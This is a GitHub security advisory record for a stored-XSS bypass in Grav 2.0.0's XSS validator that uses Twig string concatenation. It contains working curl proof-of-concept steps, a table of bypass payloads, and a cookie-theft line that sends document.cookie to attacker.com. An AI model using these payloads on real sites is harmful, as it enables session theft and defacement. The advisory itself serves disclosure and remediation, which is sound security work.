{"id":"GHSA-2c4f-86xc-cr74","summary":"Grav: XSS Blueprint Validation Bypass via Twig String Concatenation","details":"## Summary\n\nThe XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ \"on\" ~ \"error\" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `\u003cimg src=1 onerror=alert(1)\u003e` which is rendered via `{{ content|raw }}` and executes in the victim's browser.\n\n---\n\n## Details\n\n**The two-stage attack** exploits the separation between validation and rendering:\n\n**Stage 1 - what the XSS validator sees** (raw page content):\n\n```twig\n{% set x = \"on\" ~ \"error\" %}\n\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\n```\n\nThe `detectXss()` function scans this string. The `on_events` regex looks for `\u003c[^\u003e]*?[\\s\\x00-\\x20\\\"\\'\\/](on\\s*[a-z]+|xmlns)\\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\\s\\x00-\\x20\\\"\\'\\/]`, and `x` is not `on`. **No match - passes validation.**\n\n**Stage 2 - what Twig produces** (after rendering):\n\n```html\n\u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nThe validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.\n\n**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:\n\n```yaml\nallowed_tags:\n  - set          # ← allows variable assignment\n  ...\n```\n\nThe `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.\n\n**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:\n\n```twig\n\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e\n{# XSS validator sees: \u003cs{{...}}\u003e - no \u003cscript\u003e tag detected\n   Twig output: \u003cscript\u003ealert(1)\u003c/script\u003e #}\n```\n\n**Also bypasses the `invalid_protocols` check**:\n\n```twig\n\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e\n{# Validator sees: href=\"{{...}}\" - no \"javascript:\" protocol detected #}\n```\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n1. `twig_content.process_enabled: true` set by admin\n2. `api.pages.write` permission (page creation)\n\n### Step 1 - Obtain JWT token (any user with page write access)\n\n```bash\nJWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"user\",\"password\":\"pass\"}' \\\n  | python3 -c \"import json,sys; print(json.load(sys.stdin)['data']['access_token'])\")\n```\n\n### Step 2 - Create page with Twig XSS payload\n\n```bash\ncurl -s http://127.0.0.1/grav/api/v1/pages -X POST \\\n  -H \"Authorization: Bearer $JWT\" -H \"Content-Type: application/json\" \\\n  -d '{\n    \"title\": \"xss-page\",\n    \"folder\": \"xss-page\",\n    \"route\": \"/xss-page\",\n    \"template\": \"default\",\n    \"header\": {\"title\": \"xss\", \"process\": {\"markdown\": false}},\n    \"content\": \"{% set x = \\\"on\\\" ~ \\\"error\\\" %}\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\"\n  }'\n```\n\n**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.\n\n### Step 3 - Visit page → XSS fires\n\n```bash\ncurl -s http://127.0.0.1/grav/xss-page | grep -oP '\u003cimg[^\u003e]*\u003e'\n# Output: \u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nOpen in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.\n\u003cimg width=\"1842\" height=\"996\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588\" /\u003e\n\u003cimg width=\"1346\" height=\"263\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef\" /\u003e\n\n#### From a low-level user\nAlso From a low-level user normal script such as `\u003cimg src=1 onerror=alert(1)\u003e` this is being blocked by the restriction.\n\u003cimg width=\"1849\" height=\"980\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57\" /\u003e\n\nBut with payloads such as \u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e proves that the we can bypass the blueprint restrictions and upload malicious script to it\n\u003cimg width=\"1841\" height=\"1009\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd\" /\u003e\n\u003cimg width=\"1524\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770\" /\u003e\n\n\n\n### Alternative payloads (all bypass the validator)\n\n| Payload | Twig Source | After Twig | Triggers |\n|---------|------------|------------|----------|\n| Event handler | `\u003cimg src=1 {{\"on\"~\"error\"}}=alert(1)\u003e` | `\u003cimg src=1 onerror=alert(1)\u003e` | Image load fails |\n| Script tag | `\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e` | `\u003cscript\u003ealert(1)\u003c/script\u003e` | Immediately |\n| Protocol bypass | `\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e` | `\u003ca href=\"javascript:alert(1)\"\u003eclick\u003c/a\u003e` | On click |\n| Iframe onload | `\u003ci{{\"f\"~\"r\"~\"a\"~\"m\"~\"e\"}} {{\"on\"~\"load\"}}=alert(1)\u003e` | `\u003ciframe onload=alert(1)\u003e` | Page load |\n| Details toggle | `\u003cdetails open {{\"on\"~\"toggle\"}}=alert(1)\u003e` | `\u003cdetails open ontoggle=alert(1)\u003e` | Page load |\n| Cookie theft | `\u003cimg src=1 {{\"on\"~\"error\"}}=fetch(\"https://attacker.com/?c=\"+document.cookie)\u003e` | `\u003cimg src=1 onerror=fetch(...)\u003e` | Image load fails |\n\n### Admin preview caveat\n\nThe Admin2 SPA renders page previews inside a **sandboxed iframe**:\n\n```html\n\u003ciframe sandbox=\"allow-same-origin allow-scripts allow-forms\"\u003e\u003c/iframe\u003e\n```\n\n`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.\n\n---\n\n## Impact\n\nOnce the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:\n\n- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)\n- **Bypasses the dangerous tag blocklist** (reconstructs `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003csvg\u003e`, etc.)\n- **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`)\n- **Persists** across page edits (stored in page content file)\n- **Executes** for every visitor to the page\n\nAn attacker can steal session cookies, perform actions as the victim, or deface the site.\n\n---\n\n## Remediation\n\n### Option A - Re-run the XSS validator on Twig output\n\nAfter `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:\n\n```php\n// In Twig::processPage(), after rendering\n$rendered = $twig-\u003erender($name, $context);\n$result = Security::detectXss($rendered);\nif ($result !== null) {\n    // Log and sanitize or block\n    Security::logTwigSandboxViolation('xss_output', $result, '', $route);\n    return ''; // or return escaped version\n}\n```\n\n### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)\n\nRemoving string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).\n\n### Option C - Block dynamic attribute names in Twig output\n\nParse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.\n\n### Option D - Escape HTML in rendered Twig output\n\nWrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.","aliases":["CVE-2026-61453"],"modified":"2026-09-16T22:30:08.125937112Z","published":"2026-09-16T22:13:17Z","database_specific":{"github_reviewed_at":"2026-09-16T22:13:17Z","nvd_published_at":"2026-07-15T17:16:51Z","cwe_ids":["CWE-1336","CWE-184","CWE-79"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61453"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61710"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.1"}]}],"versions":["2.0.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-2c4f-86xc-cr74/GHSA-2c4f-86xc-cr74.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}